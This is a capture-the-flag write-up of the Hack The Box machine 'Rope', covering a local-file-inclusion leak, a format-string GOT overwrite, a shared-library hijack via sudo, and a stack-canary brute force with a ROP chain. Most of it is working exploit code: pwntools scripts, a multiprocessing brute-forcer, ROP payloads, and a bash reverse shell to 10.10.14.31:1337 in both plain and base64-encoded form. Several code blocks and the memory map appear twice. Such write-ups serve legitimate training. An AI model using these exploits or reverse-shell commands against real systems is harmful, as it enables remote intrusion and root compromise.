Rope is the first complete binexp box on HacktheBox from R4J. It's basically just two big binary exploitation challenges. I did this about 7-8 months ago and looking back on it, I definitely could do this much faster pretty easily. Anyways, before I start, I need to thank my teammates Immo, TCG, enjloezz, and chirality (who also proofread this writeup).
On our initial nmap scan, there are only 2 ports open: 22 and 9999. Browsing to 9999, we see a login panel. Playing around, there isn't much of anything that is eye catching. However, we do find that there is an LFI almost immediately: http://rope.htb:9999//etc/passwd
From that alone, we already know about users john and r4j. We can also traverse the entire filesystem (at least where the user which the server runs under has permissions). We also can LFI into /proc/self, which can provide useful information about the current process. Navigating to the following directory should get us the current directory of the process: http://rope.htb:9999//proc/self/cwd
The binary is called httpserver. I pulled it out, ran checksec and file. It's dynamically linked and has PIE; we can also assume that it has ASLR. Luckily, two things about this will help: it's 32 bit and unstripped. Since it's 32 bit, I also used the LFI to pull out the 32 bit libc file.
Reversing this binary, we find a bug in the log_access function.
pcVar3 = inet_ntoa((in_addr)((in_addr *)(param_2 + 4))->s_addr);
printf("%s:%d %d - ",pcVar3,(uint)uVar2,param_1);
printf(param_3);
puts("");
puts("request method:");
puts(param_3 + 0x400)
printf("%s:%d %d - ",pcVar3,(uint)uVar2,param_1);
printf(param_3);
puts("");
puts("request method:");
puts(param_3 + 0x400)
param_3 will be the directory/file we attempt to access. Calling printf directly on a variable without format strings leads to a format string attack, which can lead to arbitrary write. Also, puts is called on the request method we send. Note this fact for later.
First of all, we need to deal with the PIE and ASLR issue. Let's lfi /proc/self/maps. Simply accessing that page results in a blank and broken page. In the end, controlling the Range header gave me actual output (note that the addresses used in my script were different due to different instances of the box):
curl --path-as-is -v http://10.10.10.148:9999//proc/self/maps -H 'Range: bytes=0-50000'
56577000-56578000 r--p 00000000 08:02 660546 /opt/www/httpserver
56578000-5657a000 r-xp 00001000 08:02 660546 /opt/www/httpserver
5657a000-5657b000 r--p 00003000 08:02 660546 /opt/www/httpserver
5657b000-5657c000 r--p 00003000 08:02 660546 /opt/www/httpserver
5657c000-5657d000 rw-p 00004000 08:02 660546 /opt/www/httpserver
57112000-57134000 rw-p 00000000 00:00 0 [heap]
f7d8d000-f7f5f000 r-xp 00000000 08:02 660685 /lib32/libc-2.27.so
f7f5f000-f7f60000 ---p 001d2000 08:02 660685 /lib32/libc-2.27.so
f7f60000-f7f62000 r--p 001d2000 08:02 660685 /lib32/libc-2.27.so
f7f62000-f7f63000 rw-p 001d4000 08:02 660685 /lib32/libc-2.27.so
f7f63000-f7f66000 rw-p 00000000 00:00 0
f7f6f000-f7f71000 rw-p 00000000 00:00 0
f7f71000-f7f74000 r--p 00000000 00:00 0 [vvar]
f7f74000-f7f76000 r-xp 00000000 00:00 0 [vdso]
f7f76000-f7f9c000 r-xp 00000000 08:02 660681 /lib32/ld-2.27.so
f7f9c000-f7f9d000 r--p 00025000 08:02 660681 /lib32/ld-2.27.so
f7f9d000-f7f9e000 rw-p 00026000 08:02 660681 /lib32/ld-2.27.so
ffe61000-ffe82000 rw-p 00000000 00:00 0 [stack]
56578000-5657a000 r-xp 00001000 08:02 660546 /opt/www/httpserver
5657a000-5657b000 r--p 00003000 08:02 660546 /opt/www/httpserver
5657b000-5657c000 r--p 00003000 08:02 660546 /opt/www/httpserver
5657c000-5657d000 rw-p 00004000 08:02 660546 /opt/www/httpserver
57112000-57134000 rw-p 00000000 00:00 0 [heap]
f7d8d000-f7f5f000 r-xp 00000000 08:02 660685 /lib32/libc-2.27.so
f7f5f000-f7f60000 ---p 001d2000 08:02 660685 /lib32/libc-2.27.so
f7f60000-f7f62000 r--p 001d2000 08:02 660685 /lib32/libc-2.27.so
f7f62000-f7f63000 rw-p 001d4000 08:02 660685 /lib32/libc-2.27.so
f7f63000-f7f66000 rw-p 00000000 00:00 0
f7f6f000-f7f71000 rw-p 00000000 00:00 0
f7f71000-f7f74000 r--p 00000000 00:00 0 [vvar]
f7f74000-f7f76000 r-xp 00000000 00:00 0 [vdso]
f7f76000-f7f9c000 r-xp 00000000 08:02 660681 /lib32/ld-2.27.so
f7f9c000-f7f9d000 r--p 00025000 08:02 660681 /lib32/ld-2.27.so
f7f9d000-f7f9e000 rw-p 00026000 08:02 660681 /lib32/ld-2.27.so
ffe61000-ffe82000 rw-p 00000000 00:00 0 [stack]
From here, libc and pie base are both obtained, which will remain constant as long as the process doesn't restart.
With the format string, we can achieve arbitrary write. The fact that the binary is Partial RELRO makes this even easier, as I could achieve RCE by overwriting something in GOT with system() from libc. Since puts is called on the request type, what if we change that part of the request to a shell command after overwriting puts with system? The only problem is that our shell command can't have spaces and we can't directly pop a shell because of fd (but we can get a reverse shell!). To deal with the spaces issue, use ${IFS}. However, using that with a command like the following will cause issues:
bash -c 'bash -i >& /dev/tcp/10.10.14.31/1337 0>&1'
Instead, what if we base64 encoded that, and then used the IFS technique to run the decoded command?
echo${IFS}"YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4zMS8xMzM3IDA+JjEn"|base64${IFS}-d|bash
Testing it locally, this string does show up as the request header. Now once we overwrite it, we can catch a shell on port 1337!
Below is my exploit with comments. To figure out the offset, we could type AAAA and then type many %p. Whichever group of values show 41414141 on the server side will be the index of offset. As for the format string GOT overwrite itself, there are a ton of other blogs out there explaining how to do it manually, like this Github page. However, my preference in a CTF is that as long as pwn tools format string generator for overwrites works, I will use it. Here is my exploit:
from pwn import *
import urllib
context(arch='i386')
binary = ELF('./httpserver')
libc = ELF('./libc-2.27.so')
pie = 0x56577000
libcBase = 0xf7d8d000
system = libcBase + libc.symbols['system']
puts = pie + binary.got['puts']
#puts prints out our request type, we can overwrite with system, but can't have spaces in request type
#payload = 'ABCD' + ' %p' * 53, offset of 53
writes = {puts:system}
payload = fmtstr_payload(53, writes)
log.info("Payload: " + payload)
r = remote('rope.htb', 9999)
#double braces for escape, urlencode too
r.send('''\
echo${{IFS}}"YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4zMS8xMzM3IDA+JjEn"|base64${{IFS}}-d|bash /{} HTTP/1.1
Host: rope.htb:9999
User-Agent: curl/7.65.3
Accept: /
'''.format(urllib.quote(payload)))
r.interactive()
import urllib
context(arch='i386')
binary = ELF('./httpserver')
libc = ELF('./libc-2.27.so')
pie = 0x56577000
libcBase = 0xf7d8d000
system = libcBase + libc.symbols['system']
puts = pie + binary.got['puts']
#puts prints out our request type, we can overwrite with system, but can't have spaces in request type
#payload = 'ABCD' + ' %p' * 53, offset of 53
writes = {puts:system}
payload = fmtstr_payload(53, writes)
log.info("Payload: " + payload)
r = remote('rope.htb', 9999)
#double braces for escape, urlencode too
r.send('''\
echo${{IFS}}"YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4zMS8xMzM3IDA+JjEn"|base64${{IFS}}-d|bash /{} HTTP/1.1
Host: rope.htb:9999
User-Agent: curl/7.65.3
Accept: /
'''.format(urllib.quote(payload)))
r.interactive()
Now we get a shell as John. For ease, I created an authorized_keys files, added my public key, and ssh'd in as John. Basic enumeration with sudo -l tells us that we can run printlogs as user r4j. Running ldd on the binary tells us that it is calling /lib/x86_64-linux-gnu/liblog.so. Apparently, we can overwrite it, which makes this bug a clear library hijacking vulnerability.
A function used inside the binary calls printlog from the library.
int32_t printlog (void) {
system ("/usr/bin/tail -n10 /var/log/auth.log");
return 0;
}
system ("/usr/bin/tail -n10 /var/log/auth.log");
return 0;
}
I knew a few people just overwrote the string called with system, but I decided to just overwrite liblog.so with just a new .so file that directly called system("/bin/sh -i") in the printlog function. To compile, we used the following gcc command:
gcc -c -fPIC liblog_patched.c -o liblog_patched.o
gcc liblog_patched.o -shared -o liblog_patched.so
Then, bring it back to the server, overwrite liblog.so (scp liblog_patched.so john@rope.htb:/lib/x86_64-linux-gnu/liblog.so), run readlogs as -u r4j and you should get user! I created another authorized_keys file and ssh'd back in.
For root, it's basic enumeration again. With netstat, we find something listening on 1337. We also noticed a binary in /opt/support/ called contact. Reversing it (just looking at strings for now) and connecting to the port shows they are the same binary. I also port forwarded it for later exploitation purposes:
ssh -L 1337:127.0.0.1:1337 r4j@rope.htb
This binary is 64 bits and has no symbols with ASLR, PIE, Canary, and NX. Luckily, it's a forking socket server so those pesky values that must be discovered stay the same within the same process. Some simple reversing once again helped me quickly identify the client reception function as well as the function calling recv(), which is basically read() but only works over sockets. That is where the bug occurs... recv() reads in 0x400 bytes, which is much larger than the size of the buffer and stack here. Easy ROP chain and buffer overflow here then!
//snippet from the function calling the vulnerable recv
if (_Var2 == 0) {
_Var3 = getuid();
printf("[+] Request accepted fd %d, pid %d\n",(ulong)uParm1,(ulong)_Var3);
__n = strlen(s_Please_enter_the_message_you_wan_001040e0);
write(uParm1,s_Please_enter_the_message_you_wan_001040e0,__n);
recv_data();
send(uParm1,"Done.\n",6,0);
uVar4 = 0;
}
void recv_data(int iParm1)
{
long in_FS_OFFSET;
undefined local_48 [56];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
recv(iParm1,local_48,0x400,0);
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
if (_Var2 == 0) {
_Var3 = getuid();
printf("[+] Request accepted fd %d, pid %d\n",(ulong)uParm1,(ulong)_Var3);
__n = strlen(s_Please_enter_the_message_you_wan_001040e0);
write(uParm1,s_Please_enter_the_message_you_wan_001040e0,__n);
recv_data();
send(uParm1,"Done.\n",6,0);
uVar4 = 0;
}
void recv_data(int iParm1)
{
long in_FS_OFFSET;
undefined local_48 [56];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
recv(iParm1,local_48,0x400,0);
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
Just bruteforce the canary and rbp like every other ROP chain problem on forking socket servers. Also bruteforce the return address to beat PIE. To bruteforce, we rely on the fact that recv() does not add a null byte to what you enter. Therefore, we can bruteforce each address one by one and see if we ever get the "Done!" message again.
I bruteforced this problem originally with a really slow python pwn tools script. The server itself doesn't have pwn tools, making it even slower as it is over remote. It was just sending byte by byte over the remote connection, and I also had to deal with the occasional dirty byte. Make sure that your canary starts with a null byte, your rbp leak is aligned, and your PIE follows what it should be according to reversing tools.
For this writeup, I will be using a better method; you can still find my horrifically awful and slow method on my Github or on the previous password protected writeup of Rope.
Here is the newer script for this writeup (it's based off my teammate Chirality's original bruteforcer that used pwn tools; mine uses the mpwn library, a single file CTF exploit library that runs on native Python3):
from multiprocessing import Pool
from mp import *
import time
HOST = "localhost"
PORT = 1337
canary = b''
frame_ptr = b''
ret_ptr = b''
offset = 0x38
done = False
def leak(byte):
global done
if done:
return False
r = remote(HOST, PORT)
payload = b"A" * offset
payload += canary
payload += frame_ptr
payload += ret_ptr
payload += bytes([byte])
try:
temp = r.recvline(timeout = 1)
#print("Recieved: " + temp.decode())
r.send(payload)
result = r.recv(4, timeout = 1)
#print("Result: " + result.decode())
if "Done" in result.decode():
print("SUCCESS " + hex(byte))
done = True
return True
else:
raise EOFError
except:
return False
def leak_helper(string):
global done
done = False
pool = Pool(processes=25)
results = pool.map(leak, range(0, 255))
pool.close()
pool.terminate()
pool.join()
if True in results:
byte = results.index(True)
return string + bytes([byte])
else:
print("Could not find the byte!")
print(str(results))
quit()
#single process testing
# while len(canary) < 8:
# word = 0x00
# while word < 0xff:
# if leak(word):
# canary = canary + bytes([word])
# break
# else:
# word = word + 1
if not canary:
for i in p64(0x0):
canary = leak_helper(canary)
print("Done! Canary: " + hex(u64(canary.ljust(8, b'\x00'))))
if not frame_ptr:
for i in p64(0x0):
frame_ptr = leak_helper(frame_ptr)
print("Done! RBP: " + hex(u64(frame_ptr.ljust(8, b'\x00'))))
if not ret_ptr:
for i in p64(0x0):
ret_ptr = leak_helper(ret_ptr)
print("Done! Return Pointer: " + hex(u64(ret_ptr.ljust(8, b'\x00'))))
print("DONE!")
print("Canary: " + hex(u64(canary.ljust(8, b'\x00'))))
print("RBP: " + hex(u64(frame_ptr.ljust(8, b'\x00'))))
print("Return Pointer: " + hex(u64(ret_ptr.ljust(8, b'\x00'))))
If it does break in the middle of the bruteforcing, you should just paste what current values you have so you do not need to start over. With these values, popping a shell follows soon after. Simply leak libc with write (as ASLR remains the same over forking processes, you can just exit and then make a new connection for the next part). Then, dup2 the fds and pop a shell; I used a one gadget that only had to have rcx be null, so I used a gadget from libc as well. Below is my exploit with comments:
from pwn import *
context(arch='amd64')
binary = ELF('./contact')
p = remote('localhost', 1337)
libc = ELF('libc-2.27.so')
canary = 0x7aec4b7820374000
rbp = 0x7ffd5f42a720
returnAddr = 0x563f8a80a562
# 0010155d e8 38 00 CALL recv_data undefined
# 00 00
# 00101562 8b 45 ec MOV EAX,dword ptr [RBP + local_1c]
pie = returnAddr - 0x1562
log.info('Base pie address: ' + hex(pie))
log.info('Canary: ' + hex(canary))
#leaking libc
#0x164b -> pop rdi; ret
#0x1649: pop rsi; pop r15; ret;
#0x1265: pop rdx; ret; set it to 8 because address leak
#call write
poprdi = pie + 0x164b
poprsir15 = pie + 0x1649
poprdx = pie + 0x1265
write = pie + 0x154e
printfgot = pie + binary.got['printf']
chain = p64(poprdi) + p64(4) + p64(poprsir15) + p64(printfgot) + p64(0) + p64(poprdx) + p64(8) + p64(write)
payload = 'A' * 0x38 + p64(canary) + p64(rbp) + chain
p.sendlineafter('admin:\n', payload)
temp = p.recv(8)
printf = u64(temp)
libcBase = printf - libc.symbols['printf']
log.info("Leaked libc: " + hex(libcBase))
p.close()
#popping shells
p = remote('localhost', 1337)
libc.address = libcBase
#now dup2 everything and pop shell
payload = ''
payload += "\x90" * 0x38
payload += p64(canary)
payload += p64(rbp)
payload += p64(poprdi)
payload += p64(0x4)
payload += p64(poprsir15)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(libc.symbols['dup2'])
payload += p64(poprdi)
payload += p64(0x4)
payload += p64(poprsir15)
payload += p64(0x1)
payload += p64(0x0)
payload += p64(libc.symbols['dup2'])
payload += p64(poprdi)
payload += p64(0x4)
payload += p64(poprsir15)
payload += p64(0x2)
payload += p64(0x0)
payload += p64(libc.symbols['dup2'])
payload += p64(libc.address + 0x3eb0b) #pop rcx; ret
payload += p64(0)
payload += p64(libc.address + 0x4f2c5) # one gadget magic
p.sendafter('admin:\n', payload)
p.interactive()
And Rope is rooted now! Thanks goes to R4J for this great box. Now I just need to wait for HacktheBox to release Rope2.
context(arch='amd64')
binary = ELF('./contact')
p = remote('localhost', 1337)
libc = ELF('libc-2.27.so')
canary = 0x7aec4b7820374000
rbp = 0x7ffd5f42a720
returnAddr = 0x563f8a80a562
# 0010155d e8 38 00 CALL recv_data undefined
# 00 00
# 00101562 8b 45 ec MOV EAX,dword ptr [RBP + local_1c]
pie = returnAddr - 0x1562
log.info('Base pie address: ' + hex(pie))
log.info('Canary: ' + hex(canary))
#leaking libc
#0x164b -> pop rdi; ret
#0x1649: pop rsi; pop r15; ret;
#0x1265: pop rdx; ret; set it to 8 because address leak
#call write
poprdi = pie + 0x164b
poprsir15 = pie + 0x1649
poprdx = pie + 0x1265
write = pie + 0x154e
printfgot = pie + binary.got['printf']
chain = p64(poprdi) + p64(4) + p64(poprsir15) + p64(printfgot) + p64(0) + p64(poprdx) + p64(8) + p64(write)
payload = 'A' * 0x38 + p64(canary) + p64(rbp) + chain
p.sendlineafter('admin:\n', payload)
temp = p.recv(8)
printf = u64(temp)
libcBase = printf - libc.symbols['printf']
log.info("Leaked libc: " + hex(libcBase))
p.close()
#popping shells
p = remote('localhost', 1337)
libc.address = libcBase
#now dup2 everything and pop shell
payload = ''
payload += "\x90" * 0x38
payload += p64(canary)
payload += p64(rbp)
payload += p64(poprdi)
payload += p64(0x4)
payload += p64(poprsir15)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(libc.symbols['dup2'])
payload += p64(poprdi)
payload += p64(0x4)
payload += p64(poprsir15)
payload += p64(0x1)
payload += p64(0x0)
payload += p64(libc.symbols['dup2'])
payload += p64(poprdi)
payload += p64(0x4)
payload += p64(poprsir15)
payload += p64(0x2)
payload += p64(0x0)
payload += p64(libc.symbols['dup2'])
payload += p64(libc.address + 0x3eb0b) #pop rcx; ret
payload += p64(0)
payload += p64(libc.address + 0x4f2c5) # one gadget magic
p.sendafter('admin:\n', payload)
p.interactive()